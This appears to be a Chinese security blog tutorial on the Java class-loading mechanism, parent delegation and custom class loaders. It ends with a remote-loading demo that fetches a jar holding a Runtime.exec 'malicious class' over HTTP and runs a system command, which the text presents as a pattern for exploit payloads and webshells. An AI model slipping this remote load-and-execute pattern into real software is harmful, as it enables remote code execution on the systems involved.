类加载机制流程
Java 是⼀个依赖于 JVM(Java虚拟机)实现的跨平台的开发语⾔。Java 程序在运⾏前需要先编译成 class ⽂件 ,Java 类初始化的时候会调⽤java.lang.ClassLoader加载类字节码,ClassLoader 会调⽤ JVM 的 native ⽅法( defineClass0/1/2)来定义⼀个java.lang.Class实例。
JVM 将类加载过程分为三个步骤:装载(Load),链接(Link)和初始化(Initialize),链接又分为三个步骤,如图所示。

- 
装载:查找并加载类的二进制数据 
- 
链接: - 验证:确保被加载类的正确性
- 准备:为类的静态变量分配内存,并将其初始化为默认值
- 解析:把类中的符号引用转换为直接引用
 
- 
初始化:为类的静态变量赋予正确的初始值 
java 编译器将.java文件编译成扩展名为.class的文件,.class文件中保存着 java 转换后,虚拟机将要执行的指令。当需要某个类的时候,java 虚拟机会加载.class文件,并创建对应的 class 对象,将 class 文件加载到虚拟机的内存,这个过程被称为类的加载。
类初始化时机
- 
隐式加载:new 创建类的实例 
- 
显式加载:loaderClass、forName等 
- 
访问某个类或接口的静态变量,或者对该静态变量赋值 
- 
调用类的静态方法 
- 
使用反射方式创建某个类或者接口对象的Class对象 
- 
初始化一个类的子类(会首先初始化子类的父类) 
- 
JVM启动时标明的启动类,即文件名和类名相同的那个类 
类加载器
JVM 的类加载是通过 ClassLoader 及其子类来完成的,类的层次关系和加载顺序可以由下图来描述:

- 
引导类加载器(Bootstrap ClassLoader) 这个类加载器负责将 \lib⽬录下的类库加载到虚拟机内存中,⽤来加载 java 的核⼼库,此类加载器并不继承于java.lang.ClassLoader,不能被java程序直接调⽤,代码是使⽤C++编写的, 是虚拟机⾃⾝的⼀部分
- 
扩展类加载器(Extendsion ClassLoader) 这个类加载器负责加载 \lib\ext⽬录下的类库,⽤来加载 java 的扩展库,开发者可以直接使⽤这个类加载器
- 
应⽤程序类加载器(Application ClassLoader) 这个类加载器负责加载⽤⼾类路径(CLASSPATH)下的类库,⼀般我们编写的java类都是由这个类加载器加载,这个类加载器是 CLassLoader 中的 getSystemClassLoader()⽅法的返回值,所以也称为系统类加载器,⼀般情况下这就是系统默认的类加载器
- 
自定义类加载器(Custom ClassLoader) 属于应用程序根据自身需要自定义的 ClassLoader,如 tomcat、jboss 都会根据 j2ee 规范自行实现ClassLoader,加载过程中会先检查类是否被已加载,检查顺序是自底向上,从 Custom ClassLoader 到 BootStrap ClassLoader 逐层检查,只要某个 classloader 已加载就视为已加载此类,保证此类在所有 ClassLoader 只加载一次。而加载的顺序是自顶向下,也就是由上层来逐层尝试加载此类。 
ClassLoader 类有如下核心方法:
- loadClass(加载指定的Java类)
- findClass(查找指定的Java类)
- findLoadedClass(查找JVM已经加载过的类)
- defineClass(定义一个Java类)
- resolveClass(链接指定的Java类)
类加载器使用顺序
在 JVM 虚拟机中,如果一个类加载器收到类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器完成。每个类加载器都是如此,只有当父加载器在自己的搜索范围内找不到指定的类时(即ClassNotFoundException),子加载器才会尝试自己去加载。
也就是说,对于每个类加载器,只有父类(依次递归)找不到时,才自己加载 。这就是双亲委派模型。

为什么需要双亲委派模型呢?这可以提高Java的安全性,以及防止程序混乱。
- 
提高安全性 假设我们使用一个第三方 Jar 包,该 Jar 包中自定义了一个 String 类,它的功能和系统 String 类的功能相同,但是加入了恶意代码。那么,JVM 会加载这个自定义的 String 类,从而在我们所有用到 String 类的地方都会执行该恶意代码。 
 如果有双亲委派模型,自定义的 String 类是不会被加载的,因为最顶层的类加载器会首先加载系统的 java.lang.String 类,而不会加载自定义的 String 类,防止了恶意代码的注入。
- 
防止程序混乱 假设用户编写了一个 java.lang.String 的同名类,如果每个类加载器都自己加载的话,那么会出现多个 String 类,导致混乱。如果本加载器加载了,父加载器则不加载,那么以哪个加载的为准又不能确定了,也增加了复杂度。 
类加载方式
Java 类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载方式:
// 反射加载HelloWorld示例
Class.forName("com.h4ckfun.HelloWorld");
// ClassLoader加载HelloWorld示例
this.getClass().getClassLoader().loadClass("com.h4ckfun.HelloWorld");
复制代码Class.forName()是⼀个静态⽅法,最常⽤的是Class.forname(String className);根据传⼊的类的全限定名返回⼀个 Class 对象。该⽅法在将 Class ⽂件加载到内存的同时,会执⾏类的初始化。
注: A a = (A)Class.forName("package.A").newInstance(); 和 A a = new A(); 是⼀样的效果,它们的区别在于创建对象的⽅式不⼀样,前者是使⽤类加载机制,后者是创建⼀个新类。
而ClassLoader.loadClass默认不会初始化类方法。
自定义类加载器
我们先自己编写一个需要被加载的类:
Test.java
package com.h4ckfun;
public class Test {
    public Test() {
        System.out.println("Test: " + getClass().getClassLoader());
        System.out.println("Test Parent: " + getClass().getClassLoader().getParent());
    }
    public String hello() {
        return "Hello World!";
    }
}
复制代码使用javac编译为 class 文件:
javac Test.java
复制代码使用javap查看反汇编:
javap -c -p -l Test.class
复制代码
我们可以自定义类加载器,只需继承 ClassLoader 抽象类,并重写 findClass 方法(如果要打破双亲委派模型,需要重写 loadClass 方法)。
**注意:**一般尽量不要覆写已有的 loadClass 方法中的委派逻辑,一般在 JDK1.2 之前的版本才这样做,而且事实证明,这样做极有可能引起系统默认的类加载器不能正常工作。在 JVM 规范和 JDK 文档中(1.2 或者以后版本中),都没有建议用户覆写 loadClass 方法,相反,明确提示开发者在开发自定义的类加载器时覆写 findClass 逻辑。
具体原因可以看 loadClass 的源码:
    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }
                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);
                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }
复制代码这个是 ClassLoader 中的 loadClass 方法,大致流程如下:
- 检查类是否已加载,如果是则不用再重新加载了
- 如果未加载,则通过父类加载(依次递归)或者启动类加载器(bootstrap)加载
- 如果还未找到,则调用本加载器的findClass方法
而 ClassLoader 中 findClass 方法源码如下:
		protected Class<?> findClass(String name) throws ClassNotFoundException {
        throw new ClassNotFoundException(name);
    }
复制代码直接返回 ClassNotFoundException,并且注释中明确说明自定义类加载器时需要覆写该方法。
我们自己写一个自定义加载器:
package com.h4ckfun;
import java.io.FileInputStream;
import java.lang.reflect.Method;
import java.util.Arrays;
class HelloWorldClassLoader extends ClassLoader {
    // Test类名
    private String testClassName;
    // Test类字节码
    private byte[] testClassBytes;
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        try {
            return defineClass(name, testClassBytes, 0, testClassBytes.length);
        } catch (Exception e) {
            e.printStackTrace();
            throw new ClassNotFoundException();
        }
    }
    private byte[] readByte(String classPath) throws Exception {
        FileInputStream fis = new FileInputStream(classPath);
        int len = fis.available();
        byte[] data = new byte[len];
        fis.read(data);
        fis.close();
        return data;
    }
    public static void main(String[] args) {
        // 创建自定义的类加载器
        HelloWorldClassLoader loader = new HelloWorldClassLoader();
        try {
            loader.testClassName = "com.h4ckfun.Test";
            loader.testClassBytes = loader.readByte("/tmp/Test.class");
            System.out.println("class byte: " + Arrays.toString(loader.testClassBytes));
            // 使用自定义的类加载器加载Test类
            Class testClass = loader.loadClass(loader.testClassName);
            // 反射创建Test类,等价于 Test t = new Test();
            Object testInstance = testClass.newInstance();
            // 反射获取hello方法
            Method method = testInstance.getClass().getMethod("hello");
            // 反射调用hello方法,等价于 String str = t.hello();
            String str = (String) method.invoke(testInstance);
            System.out.println(str);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
复制代码代码中注意重写 findClass 方法,然后进行自定义加载前注意要把之前生成的Test.class移动到 CLASSPATH 之外的目录,这里我移动到了/tmp/Test.class,还有Test.java如果和加载器是同一项目下,记得删除或者重命名为其他文件,比如Test.java.bak,否则 Test 类会被 AppClassLoader 加载(自定义类加载器的 parent 是 AppClassLoader)。
加载结果:

远程类加载
URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
我们先写一个被远程执行的恶意类:
import java.io.IOException;
public class Cmd {
    public static Process exec(String cmd) throws IOException {
        return Runtime.getRuntime().exec(cmd);
    }
}
复制代码然后使用javac编译为 class 文件,单独打包为 jar 包:
jar cvf Cmd.jar Cmd.class
复制代码
将Cmd.java重命名为非java文件后,简单使用 python 启动 web 服务:
python3 -m http.server 9000
复制代码编写URLClassLoader的代码:
package com.h4ckfun;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URLClassLoader;
import java.net.URL;
public class RemoteURLClassLoader {
    public static void main(String[] args) {
        try {
            // 定义远程加载的jar路径
            URL url = new URL("http://127.0.0.1:9000/Cmd.jar");
            // 创建URLClassLoader对象,并加载远程jar包
            URLClassLoader ucl = new URLClassLoader(new URL[]{url});
            // 定义需要执行的系统命令
            String cmd = "whoami";
            // 通过URLClassLoader加载远程jar包中的CMD类
            Class cmdClass = ucl.loadClass("Cmd");
            // 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
            Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
            // 获取命令执行结果的输入流
            InputStream in   = process.getInputStream();
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[]                b    = new byte[1024];
            int                   a    = -1;
            // 读取命令执行结果
            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }
            // 输出命令执行结果
            System.out.println(baos.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
复制代码然后执行远程类加载:
























![[桜井宁宁]COS和泉纱雾超可爱写真福利集-一一网](https://www.proyy.com/skycj/data/images/2020-12-13/4d3cf227a85d7e79f5d6b4efb6bde3e8.jpg)

![[桜井宁宁] 爆乳奶牛少女cos写真-一一网](https://www.proyy.com/skycj/data/images/2020-12-13/d40483e126fcf567894e89c65eaca655.jpg)
